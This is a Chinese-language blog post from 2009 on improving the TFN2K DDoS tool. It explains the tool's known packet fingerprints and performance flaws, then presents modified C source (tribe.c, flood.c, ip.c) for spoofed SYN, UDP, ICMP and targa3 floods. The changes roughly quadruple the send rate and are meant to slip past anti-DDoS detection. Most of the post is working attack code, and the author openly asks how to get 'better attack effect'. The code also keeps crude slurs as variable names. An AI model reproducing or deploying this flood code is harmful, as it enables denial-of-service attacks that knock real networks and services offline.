分类: LINUX
2009-10-25 13:30:44
TFN2K攻击工具曾是非常流行的DDOS攻击工具。它可以控制大量类UNIX平台的主机作为傀儡主
机,同时向一台目标机发起synflood/udpflood/icmpflood等攻击行为。但根据网络上流传
的代码存在大量的BUG与指纹,且很多地方极像是发布者故意为了减小攻击效果所做的修改,
在网络上可以找到大量的关于TFN2K攻击工具的分析文档,主要阐述了以下几个方面的指纹特
征:
SYNFLOOD攻击数据包特征:
TCP头的特征
TCP头长度字段为0
TCP校验和计算错误
TCP标记置为SYN|URG
TCP紧急指针偏移被置为随机
TCP ACK序列号被置为随机
SYN包不包含任何TCP选项
IP层头的特征:
IP的TTL值在200到255之间随机
源IP地址经常被随机数生成为末位数为0
SYN包未置DF位
根据实际测试,TFN2K的代码在攻击包发送能力、攻击效果上存在以下问题:
1、 在生成并发送包函数中调用了大量的随机数生成函数,随机数生成函数效率较低,导
致发送数据包速率大大降低,在P41.7 512M内存 100M网卡上每秒最大发包能力只能到14K
每秒。
2、 SYN包的TCP头生成错误,导致目标系统不会实际响应该攻击数据包,仅仅*大量的数
据包发送来占用目标系统的资源。典型的目标系统计算TCP校验和失败则直接丢弃,根本不能
令目标系统产生大量半连接。
3、 具有太明显的指纹特征。如TCP头长度字段为0字节,TCP标记为SYN|URG,而显然一
个正常的SYN包不可能具有这些特征。
4、 校验和计算函数没有进行任何优化,计算能力极低,也影响了包发送的速率。
5、 TTL值在200到255跳之间随机,互联网上路由器绝对不会超过30跳,普通的协议栈的
TTL初始值应该在255、128、64、32之间选择,所以极易被防火墙等设备根据TTL范围计算后
直接进行过滤。
6、 生成IP地址虽然是随机但未进行有效性检查,易生成D类地址或以上的源IP,也影响
了包的攻击效果,导致攻击包直接被丢弃。
7、 TCP头未包含任何TCP选项,而协议规定在双方交换SYN包的时候必须声明本端的MSS。
8、 未置IP头中的DF(不允许分片位)标志,也是直接可用于指纹检测的一个标志。
根据以上的分析,对其进行以下几个方面的优化之后,包发送速率可达到每秒60K个以上的
SYN包,并且数据包被相应的防火墙检查丢弃的可能性大大降低:
1、 校验和优化。在进行实际的SYN包发送之前,首先对发送BUFFER进行预置值并进行校
验和计算,在构造SYN包的各个字段的随机值(如源IP、IPID、SEQ号、源端口、TTL值等)之
时再更新相应部份的校验和,然后再进行最后一次校验和计算并填入。
static u8 char synb[8192];
void synpkt_init(u32 dip,u16 dport)
{
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct
tcp)+sizeof(tcpopt));
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = htons(sizeof (ih) + sizeof (th)+sizeof(tcpopt));
ih->id =0; //random
ih->off = 0x0040; //Don’t Fragment bit must set----fingerprint
ih->ttl =0; //random
ih->pro = TCP;
ih->sum = 0; //recaculate
ih->src =0; //random
ih->dst = dip;
th->src =0; //random
th->dst =htons(dport);
th->seq =0; //random
th->ack =0;
th->flg = SYN;
th->win =0xffff; //65535
th->sum = 0; //recaculate
th->x2 = 0;
th->off = 0x7;
th->urp =0;//
memcpy(synb+sizeof(struct ip)+sizeof(struct tcp),tcpopt,8);
/*init pseduo header*/
ptcph->sip=0;
ptcph->dip=dip;
ptcph->proto=TCP;
ptcph->zero=0;
ptcph->len=htons(28);
ipsum=sum((u16*)ih,sizeof(struct ip));
tcpsum=sum((u16*)th,sizeof(struct tcp)+sizeof(tcpopt)+sizeof(struct phdr));
sin.fam = AF_INET;
sin.dp = th->dst;
sin.add = ih->dst;
}
unsigned long sum(u16 *buff,int len)
{
unsigned long cksum;
for (cksum = 0; len > 0; len-=2)
cksum += *buff++;
return cksum;
}
先将需要随机填入的部份字段置0,然后进行求和并放入全局变量中tcpsum中。由于SYN
包不含任何实际的TCP数据,且TCP头上度为20个字节,TCP选项长度为8字节。所以直接将TCP
伪头置于TCP头的后面进行计算,不影响校验和计算结果。sum求和函数为简单的求和,由于
我们自己知道发送的数据包均为偶数个字节,所以不需要判断需要填充的行为。
void
syn(unsigned long victim, unsigned short port)
{
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct
tcp)+sizeof(tcpopt));
unsigned long sumip,sumtcp;
sumtcp=tcpsum;
ih->id = get_ipid();//htons (getrandom (16384, 65535));
ih->ttl=get_ttl();
ih->src = k00lip();
th->src=get_sport();
sumtcp+=th->src;
th->seq = k00lip();
sumtcp+=((th->seq)&0xffff);
sumtcp+=((th->seq)>>16);
sumtcp+=((ih->src)&0xffff);因为伪头的缘故,所以要将源IP加入计算
sumtcp+=((ih->src)>>16);
sumtcp=(sumtcp>>16)+(sumtcp&0xffff);
sumtcp+=(sumtcp>>16);
th->sum=(u16)(~sumtcp);
sendto (rawsock, synb, 4 * ih->ihl +8+ sizeof (struct tcp), 0, (struct
sockaddr *) &sin, sizeof (sin));
}
在实际生成SYN数据包并进行发送的时候是直接在生成随机字段之后将其值加入前面算好
的校验和之内,并于最后进行填充校验和字段并发送。
注意这里我们只计算了TCP层的校验和而没有计算IP层的校验和,因为协议栈会自己重新
计算IP校验和,所以我们没有必要再算一次浪费时间。
2、 指纹检测逃避优化。
a) 修正TCP头长度为0的BUG
b) 修改TCP FLAGS标记变为SYN
c) 修改紧急指针为0
d) 修改TCP窗口大小为65535。此窗口大小值为WINDOWS系统的默认值。
e) 修改IP TTL值在255 /128/64/32/之间变化,并在本值基础上随机减小一个0-5之间
的随机值。
f) 修改源IP的随机生成算法。增加检测回环地址及大于D类地址的无效地址。
g) 修改源端口的随机生成算法。变成在1024到4096之间进行随机选择,因为windows系
统很少使用高端端口,这点是为了逃避指纹检测。
h) SEQ值的生成选择和IP地址随机生成使用相同的算法。
i) 在随机数读取中采用一次从/dev/random设备中读取1M字节的随机值,以避免发送过
程中的频繁设备IO。
j) 直接利用从/dev/random设备中读取的随机字符作为随机数生成源,不再进行srand()
与rand()再次产生伪随机数。
k) 下面是随机数生成算法的改进版。
unsigned short get_ipid(void)
{
u16 *pShort;
if(rcounter<2)
random_init();
rcounter-=2;
pShort=(u16*)&rseed[rcounter];
return (*pShort);
}
unsigned short get_sport(void)
{
u16 sport=get_ipid();
return htons((sport&0xFFF)|0x400);
}
unsigned char get_ttl(void)
{
static unsigned char ttl[4]={255,128,64,32};
static unsigned long i=0;
return(ttl[(i++)&3]-(get_char_ran()&0x0f));
}
void
random_init (void)
{
int rfd = open ("/dev/urandom", O_RDONLY);
if (rfd < 0)
rfd = open ("/dev/random", O_RDONLY);
rcounter = read (rfd, rseed, 1*1024*1024);
close (rfd);
}
优化后的flood.c及ip.c及tribe.c文件中的代码:
tribe.c
/*
* Tribe FloodNet - 2k edition
* by Mixter <>
*
* tribe.c - common functions
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/
#include "tribe.h"
int rcounter = 0;
char rseed[1*1024*1024];
extern unsigned long myip;
extern int nospoof;
void
random_init (void)
{
int rfd = open ("/dev/urandom", O_RDONLY);
if (rfd < 0)
rfd = open ("/dev/random", O_RDONLY);
rcounter = read (rfd, rseed, 1*1024*1024);
close (rfd);
}
inline
long
getrandom (int min, int max)
{
if (rcounter < 2)
random_init ();
srand (rseed[rcounter] + (rseed[rcounter - 1] << 8));
rcounter -= 2;
return ((random () % (int) (((max) + 1) - (min))) + (min));
}
inline unsigned char get_char_ran(void)
{
if (rcounter < 2)
random_init ();
rcounter--;
return (rseed[rcounter]);
}
unsigned char get_ttl(void)
{
static unsigned char ttl[4]={255,128,64,32};
static unsigned long i=0;
return(ttl[(i++)&3]-(get_char_ran()&0x0f));
}
unsigned short get_ipid(void)
{
u16 *pShort;
if(rcounter<2)
random_init();
rcounter-=2;
pShort=(u16*)&rseed[rcounter];
return (*pShort);
}
unsigned short get_sport(void)
{
u16 sport=get_ipid();
return htons((sport&0xFFF)|0x400);
}
void
trimbuf (char *buf)
{
int i = 0;
for (i = 0; i < strlen (buf); i++)
if ((buf[i] == ’\n’) || (buf[i] == ’\r’))
buf[i] = ’\0’;
}
inline unsigned long
k00lip (void)
{
// struct in_addr hax0r;
unsigned long ip,*pLong;
// char convi[16];
// int a, b, c, d;
/*
if (nospoof < 1)
return (unsigned long) (getrandom (0, 65535) + (getrandom (0, 65535) <<
8));
*/
/*
hax0r.s_addr = htonl (myip);
sscanf (inet_ntoa (hax0r), "%d.%d.%d.%d", &a, &b, &c, &d);
if (nospoof < 2)
b = getrandom (1, 254);
if (nospoof < 3)
c = getrandom (1, 254);
d = getrandom (1, 254);
*/
if (rcounter < 2)
random_init ();
// srand (rseed[rcounter] + (rseed[rcounter - 1] << 8));
rcounter -= 4;
pLong=(u32*)&rseed[rcounter];
ip=*pLong;
// ip=rand();
// ip|=(rand()<<16);
if((ip>>29)==7)
ip&=0xdfffffff;
else if((ip>>24)==0x7f)
ip>>=1;
return (ntohl(ip));
// sprintf (convi, "%d.%d.%d.%d", a, b, c, d);
// return inet_addr (convi);
}
void
tfntransmit (unsigned long from, unsigned long to, int proto, char id, char
*target)
{
char buf[BS], data[BS];
struct ip *ih = (struct ip *) buf;
struct icmp *ich = (struct icmp *) (buf + sizeof (struct ip));
struct udp *udh = (struct udp *) (buf + sizeof (struct ip));
struct tcp *tch = (struct tcp *) (buf + sizeof (struct ip));
struct sa sin;
char *p;
int tot_len = sizeof (struct ip), ssock;
memset (data, 0, BS);
data[0] = PROTO_SEP;
data[1] = id;
data[2] = PROTO_SEP;
strncpy (data + 3, target, BS - 3);
sin.fam = AF_INET;
sin.add = to;
memset (buf, 0, BS);
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = 0;
ih->id = htons (getrandom (1024, 65535));
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->sum = 0;
ih->src = from;
ih->dst = to;
switch ((proto == -1) ? getrandom (0, 2) : proto)
{
case 0:
tot_len += sizeof (struct icmp);
ih->pro = ICMP;
ssock = socket (AF_INET, SOCK_RAW, ICMP);
p = buf + sizeof (struct ip) + sizeof (struct icmp);
ich->type = 0;
ich->code = 0;
ich->id = getrandom (0, 1) ? getrandom (0, 65535) : 0;
ich->seq = getrandom (0, 1) ? getrandom (0, 65535) : 0;
ich->sum = 0;
encode64 (data, p, strlen (data));
tot_len += strlen (p);
ich->sum = cksum ((u16 *) ich, tot_len >> 1);
ih->tl = tot_len;
sin.dp = htons (0);
break;
case 1:
tot_len += sizeof (struct udp);
ih->pro = UDP;
ssock = socket (AF_INET, SOCK_RAW, UDP);
p = buf + sizeof (struct ip) + sizeof (struct udp);
udh->src = htons (getrandom (0, 65535));
udh->dst = htons (getrandom (0, 65535));
udh->sum = 0;
encode64 (data, p, strlen (data));
tot_len += strlen (p);
udh->sum = cksum ((u16 *) udh, tot_len >> 1);
udh->len = htons (sizeof (struct udp) + 3 + strlen (p));
ih->tl = tot_len;
sin.dp = htons (udh->dst);
break;
case 2:
tot_len += sizeof (struct tcp);
ih->pro = TCP;
ssock = socket (AF_INET, SOCK_RAW, TCP);
p = buf + sizeof (struct ip) + sizeof (struct tcp);
tch->src = htons (getrandom (0, 65535));
tch->dst = htons (getrandom (0, 65535));
tch->seq = getrandom (0, 1) ? htonl (getrandom (0, 65535) + (getrandom
(0, 65535) << 8)) : 0;
tch->ack = getrandom (0, 1) ? htonl (getrandom (0, 65535) + (getrandom
(0, 65535) << 8)) : 0;
tch->off = 0;
tch->flg = getrandom (0, 1) ? (getrandom (0, 1) ? SYN : ACK) : SYN |
ACK;
tch->win = getrandom (0, 1) ? htons (getrandom (0, 65535)) : 0;
tch->urp = 0;
tch->sum = 0;
encode64 (data, p, strlen (data));
tot_len += strlen (p);
tch->sum = cksum ((u16 *) tch, tot_len >> 1);
ih->tl = tot_len;
sin.dp = htons (tch->dst);
break;
default:
exit (0);
break;
}
setsockopt (ssock, IP, IP_HDRINCL, "1", sizeof ("1"));
if (sendto (ssock, buf, tot_len, 0, (struct sockaddr *) &sin, sizeof (sin))
< 0)
perror ("sendto");
close (ssock);
}
#ifdef ATTACKLOG
void
dbug (char *s)
{
int f = open (ATTACKLOG, O_WRONLY | O_APPEND | O_CREAT);
write (f, s, strlen (s));
close (f);
}
#endif
flood.c
/*
* Tribe FloodNet - 2k edition
* by Mixter <>
*
* flood.c - packet flood implementations
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/
#include "tribe.h"
extern int rcounter;
extern char rseed[];
int rawsock = 0, fw00ding = 0, nospoof = 0, port4syn = 0, psize = 0;
static char synb[8192];
static int fbi = 1, cia = 65535;
//#define CALULATE_IPCKSUM 1
unsigned char tcpopt[8]={0x02,0x04,0x05,0xB4,0x01,0x01,0x04,0x02};
unsigned long ipsum,tcpsum;
struct sa sin;
/*
* caculate initpacket sum.
*len must be 2*X
*/
unsigned long sum(u16 *buff,int len)
{
unsigned long cksum;
for (cksum = 0; len > 0; len-=2)
cksum += *buff++;
return cksum;
}
void synpkt_init(u32 dip,u16 dport)
{
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct
tcp)+sizeof(tcpopt));
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = htons(sizeof (ih) + sizeof (th)+sizeof(tcpopt));
ih->id =0; //random
ih->off = 0x0040; //Don’t Fragment bit must set----fingerprint
ih->ttl =0; //random
ih->pro = TCP;
ih->sum = 0; //recaculate
ih->src =0; //random
ih->dst = dip;
th->src =0; //random
th->dst =htons(dport);
th->seq =0; //random
th->ack =0;
th->flg = SYN;
th->win =0xffff; //65535
th->sum = 0; //recaculate
th->x2 = 0;
th->off = 0x7;
th->urp =0;//
memcpy(synb+sizeof(struct ip)+sizeof(struct tcp),tcpopt,8);
/*init pseduo header*/
ptcph->sip=0;
ptcph->dip=dip;
ptcph->proto=TCP;
ptcph->zero=0;
ptcph->len=htons(28);
ipsum=sum((u16*)ih,sizeof(struct ip));
tcpsum=sum((u16*)th,sizeof(struct tcp)+sizeof(tcpopt)+sizeof(struct phdr));
sin.fam = AF_INET;
sin.dp = th->dst;
sin.add = ih->dst;
}
extern unsigned char get_ttl(void);
void
syn(unsigned long victim, unsigned short port)
{
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct
tcp)+sizeof(tcpopt));
unsigned long sumip,sumtcp;
//sumip=ipsum;
sumtcp=tcpsum;
ih->id = get_ipid();//htons (getrandom (16384, 65535));
// sumip+=ih->id;
ih->ttl=get_ttl();
// sumip+=(ih->ttl)<<8;
ih->src = k00lip();
// sumip+=(ih->src)&0xffff;
// sumip+=(ih->src)>>16;
th->src=get_sport();
sumtcp+=th->src;
th->seq = k00lip();
sumtcp+=((th->seq)&0xffff);
sumtcp+=((th->seq)>>16);
// ptcph->sip=ih->src;
sumtcp+=((ih->src)&0xffff);
sumtcp+=((ih->src)>>16);
sumtcp=(sumtcp>>16)+(sumtcp&0xffff);
sumtcp+=(sumtcp>>16);
th->sum=(u16)(~sumtcp);
sendto (rawsock, synb, 4 * ih->ihl +8+ sizeof (struct tcp), 0, (struct
sockaddr *) &sin, sizeof (sin));
}
void
syn_bak(unsigned long victim, unsigned short port)
{
struct sa sin;
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
/* unsigned char buff[128];
struct phdr *ptcph=(struct phdr*)buff;
*/
struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct
tcp));
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = sizeof (ih) + sizeof (th);
ih->id = htons (getrandom (1024, 65535));
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->pro = TCP;
ih->sum = 0;
ih->src = k00lip ();
ih->dst = victim;
th->src = htons (getrandom (0, 65535));
if (port > 0)
th->dst = htons (port);
else
th->dst = htons (getrandom (0, 65535));
th->seq = htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
th->ack =0;// htons (getrandom (0, 65535));
th->flg = SYN;
th->win = htons (getrandom (0, 65535));
th->sum = 0;
th->x2 = 0;
th->off = 0x5;
th->urp =0;// htons (getrandom (0, 65535));
/******************************/
ptcph->sip=ih->src;
ptcph->dip=ih->dst;
ptcph->proto=6;
ptcph->zero=0;
ptcph->len=htons(20);
/*
memcpy(buff+sizeof(struct phdr),th,20);
th->sum = ip_sum ((u16 *)buff, (sizeof (struct phdr) + sizeof (struct tcp)
+ 1) & ~1);
*/
th->sum = ip_sum ((u16 *)th, (sizeof (struct phdr) + sizeof (struct tcp) +
1) & ~1);
#ifdef CALULATE_IPCKSUM
ih->sum = ip_sum ((u16 *) synb, (4 * ih->ihl + sizeof (struct tcp) + 1) &
~1);
#endif
sin.fam = AF_INET;
sin.dp = th->dst;
sin.add = ih->dst;
sendto (rawsock, synb, 4 * ih->ihl + sizeof (struct tcp), 0, (struct
sockaddr *) &sin, sizeof (sin));
}
static char udpb[1600];
unsigned long udpsum;
struct sa udpsin;
void udppkt_init(unsigned long larmer)
{
struct ip *iph;
struct udp *udph;
struct phdr *pudh;
unsigned char *pdata;
unsigned short t_len;
int i;
iph=(struct ip*)udpb;
udph=(struct udp*)(udpb+sizeof(struct ip));
pdata=(unsigned char*)(udpb+sizeof(struct ip)+sizeof(struct udp));
pudh=(struct phdr*)(udpb+sizeof(struct ip)+sizeof(struct udp)+psize);
t_len=sizeof(struct ip)+sizeof(struct udp)+psize;
/*Init ip hdr*/
iph->ihl=5;iph->ver=4;
iph->tos=0;
iph->tl=htons(t_len);
iph->id=0; //random
iph->off=0;
iph->ttl=0; //random
iph->pro=UDP;
iph->src=0; //random
iph->dst=larmer;
iph->sum=0;
/*init udp hdr*/
udph->src=0;
udph->dst=0;
udph->len=htons(sizeof(struct udp)+psize);
udph->sum=0;
/*init pudphdr*/
pudh->dip=larmer;
pudh->sip=0; //random
pudh->proto=UDP;
pudh->zero=0;
pudh->len=htons(t_len-sizeof(struct ip));
for(i=0;i
udpsum=sum((u16*)udph,t_len-sizeof(struct ip)+sizeof(struct phdr));
udpsin.fam=AF_INET;
udpsin.dp=0; //raw socket send,this segment is invalid
udpsin.add=larmer;
}
void udp(unsigned long larmer)
{
struct ip *ih;
struct udp *uh;
unsigned long sumudp=udpsum;
ih=(struct ip*)udpb;
uh=(struct udp*)(udpb+sizeof(struct ip));
ih->id = htons(getrandom (16384, 65535));
ih->ttl=get_ttl();
ih->src = k00lip();
sumudp+=((ih->src)&0xffff);
sumudp+=((ih->src)>>16);
uh->src=htons (getrandom(2048,4096));
sumudp+=uh->src;
uh->dst=htons(getrandom(0,65535));
sumudp+=uh->dst;
sumudp=(sumudp>>16)+(sumudp&0xffff);
sumudp+=(sumudp>>16);
uh->sum=(~sumudp);
sendto (rawsock, &udpb,sizeof(struct ip)+sizeof(struct udp)+psize, 0,
(struct sockaddr *) &udpsin, sizeof (udpsin));
}
void
udp_bak (unsigned long lamer)
{
int tot_len = (sizeof (struct ip) + sizeof (struct udp) + 1 + psize)&~1;
struct sa llama;
struct
{
struct ip iph;
struct udp udph;
unsigned char evil[65535];
}
faggot;
faggot.evil[psize] = 0x3F;
if (fbi++ > 65535)
fbi = 1;
if (cia-- < 1)
cia = 65535;
faggot.iph.ihl = 5;
faggot.iph.ver = 4;
faggot.iph.tos = 0x00;
faggot.iph.tl = htons (tot_len);
faggot.iph.id = htons (getrandom (0, 65535));
faggot.iph.off = 0;
faggot.iph.ttl = getrandom (200, 255);
faggot.iph.pro = UDP;
faggot.iph.src = k00lip ();
faggot.iph.dst = lamer;
#ifdef CALULATE_IPCKSUM
faggot.iph.sum = ip_sum ((u16 *) & faggot.iph, sizeof (faggot.iph));
#endif
faggot.udph.src = htons (cia);
faggot.udph.dst = htons (fbi);
faggot.udph.len = htons (tot_len-sizeof(struct ip));
faggot.udph.sum = 0;
{
struct phdr *pudph=(struct phdr*)(((char*)&faggot)+tot_len);
pudph->sip=faggot.iph.src;
pudph->dip=faggot.iph.dst;
pudph->proto=UDP;
pudph->zero=0;pudph->len=htons(tot_len-20);
faggot.udph.sum = cksum ((u16 *) & faggot.udph, tot_len-sizeof(struct
ip)+sizeof(struct phdr));
}
llama.fam = AF_INET;
llama.dp = faggot.udph.dst;
llama.add = lamer;
sendto (rawsock, &faggot, tot_len, 0, (struct sockaddr *) &llama, sizeof
(llama));
}
void
icmp (unsigned long lamer, unsigned long src)
{
struct sa pothead;
struct ip *iph;
struct icmp *icmph;
char *packet;
int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;
if (psize)
pktsize += psize;
packet = malloc (pktsize);
iph = (struct ip *) packet;
icmph = (struct icmp *) (packet + sizeof (struct ip));
memset (packet, 0, pktsize);
iph->ver = 4;
iph->ihl = 5;
iph->tos = 0;
iph->tl = htons (pktsize);
iph->id = htons (getpid ());
iph->off = 0;
iph->ttl = 0x0;
iph->pro = ICMP;
iph->sum = 0;
if (src == 0)
{
iph->src = k00lip ();
iph->dst = lamer;
}
else
{
iph->src = lamer;
iph->dst = src;
}
icmph->type = ICMP_ECHO;
icmph->code = 0;
icmph->sum = htons (~(ICMP_ECHO << 8));
pothead.fam = AF_INET;
pothead.dp = htons (0);
pothead.add = iph->dst;
sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &pothead, sizeof
(struct sockaddr));
free (packet);
}
void
targa3 (unsigned long victim)
{
int mysize = sizeof (struct ip) + getrandom (128, 512) + psize, i;
char *packet = calloc (1, mysize);
struct ip *iph = (struct ip *) packet;
struct udp *udh = (struct udp *) (packet + sizeof (struct ip));
struct tcp *tch = (struct tcp *) (packet + sizeof (struct ip));
struct icmp *ich = (struct icmp *) (packet + sizeof (struct ip));
struct sa sin;
int proto[14] =
{ /* known internet protcols */
0, 1, 2, 4, 6, 8, 12, 17, 22, 41, 58, 255, 0,
};
int frags[10] =
{ /* (un)common fragment values */
0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0,
};
int flags[7] =
{ /* (un)common message flags */
0, 0, 0, 0x4, 0, 0x1,
};
for (i = 0; i < mysize; i++)
{
if (rcounter-- < 1)
random_init ();
packet[i] = rseed[rcounter];
}
proto[13] = getrandom (0, 255);
frags[9] = getrandom (0, 8100);
flags[6] = getrandom (0, 0xf);
iph->ver = 4;
iph->ihl = 5;
iph->tos = 0;
iph->tl = htons (mysize);
iph->id = htons (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
iph->ttl = 0x00;
iph->pro = proto[(int) getrandom (0, 13)];
switch (iph->pro)
{
case TCP:
tch->sum = 0;
tch->sum = cksum ((u16 *) packet, mysize >> 1);
break;
case ICMP:
ich->sum = 0;
ich->sum = cksum ((u16 *) packet, mysize >> 1);
break;
case UDP:
udh->sum = 0;
udh->sum = cksum ((u16 *) packet, mysize >> 1);
break;
}
iph->off = htons (frags[(int) getrandom (0, 9)]);
iph->sum = 0;
iph->src = getrandom (0, 65535) + (getrandom (0, 65535) << 8);
iph->dst = victim;
sin.fam = AF_INET;
sin.dp = htons (0);
sin.add = victim;
sendto (rawsock,
packet,
mysize,
flags[(int) getrandom (0, 6)],
(struct sockaddr *) &sin,
sizeof (sin));
free (packet); /* free willy */
}
ip.c
/*
* Tribe FloodNet - 2k edition
* by Mixter <>
*
* ip.c - low level IP functions
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/
#include "tribe.h"
#include "ip.h"
unsigned long
resolve (char *host)
{
struct hostent *he;
struct sa tmp;
if (isip (host)){
char *pchar;
for(pchar=host;;pchar++)
if(((*pchar)!=’.’)&&((*pchar<’0’)||(*pchar >’9’))){ /*这地方好像
解析的时候就是有点问题,没正确判断IP地址的结尾,后来硬加的*/
*pchar=’\0’;
break;
}
return (inet_addr (host));
}
he = gethostbyname (host);
if (he)
{
memcpy ((caddr_t) & tmp.add, he->h_addr, he->h_length);
}
else
return (0);
return (tmp.add);
}
char *
ntoa (u32 in)
{
struct in_addr ad;
ad.s_addr = in;
return (inet_ntoa (ad));
}
int
isip (char *ip)
{
int a, b, c, d;
sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d);
if (a < 0)
return 0;
if (a > 255)
return 0;
if (b < 0)
return 0;
if (b > 255)
return 0;
if (c < 0)
return 0;
if (c > 255)
return 0;
if (d < 0)
return 0;
if (d > 255)
return 0;
return 1;
}
u16
cksum (u16 * buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
/*
unsigned short cksum(u16 *data,int len)
{
unsigned long sum=0;
__asm__ __volatile__(
&, nbsp; "pushl %%ecx\r\n\t"
"pushl %%edx\r\n\t"
"shrl $1,%%ecx\r\n\t"
"jnc 1f\r\n\t"
"movzbw (%%edx,%%ecx,2),%%ax\r\n\t"
"1:jcxz 4f\r\n\t"
"shrl $1,%%ecx\r\n\t"
"jnc 2f\r\n\t"
"addw (%%edx,%%ecx,4),%%ax\r\n\t"
"2:jcxz 4f\r\n\t"
"3:addl -4(%%edx,%%ecx,4),%%eax\r\n\t"
"adcl $0,%%eax\r\n\t"
"loop 3b\r\n\t"
"4:shldl $16,%%eax,%%ecx\r\n\t"
"addw %%cx,%%ax\r\n\t"
"adcw $0,%%ax\r\n\t"
"notw %%ax\r\n\t"
"popl %%edx\r\n\t"
"popl %%ecx\r\n\t"
:"=a"(sum):"a"(sum),"c"(len),"d"(data):"memory");
return ((unsigned short)sum);
}*/
unsigned short
ip_sum (addr, len)
unsigned short *addr;
int len;
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
测试效果: 在优化之后,一台P4 1.7 512M 100M网卡机器上小包SYN 62BYTE可发送到
6万个每秒。64字节的ICMP包的发送速率差不多,UDP随着包长的增长而速率会有所降低。
SYNFLOOD作为一种很“老套”很常见的攻击行为之后,似乎随着各种抗DDOS攻击设备的出现
,已经很容易的抵抗这种攻击行为,再次对此攻击方式研究的目的在于想请大家都能讨论一
下,针对各种抗DDOS攻击设备的检测算法,我们是否能像其它攻击方式(如IDS检测攻击)一
样来逃避其检测,达到更好的攻击效果呢。
本人还未实际接触过任何抗DDOS攻击设备的效果,希望对此有研究或有条件的人能进行一下
测试或大家一起讨论。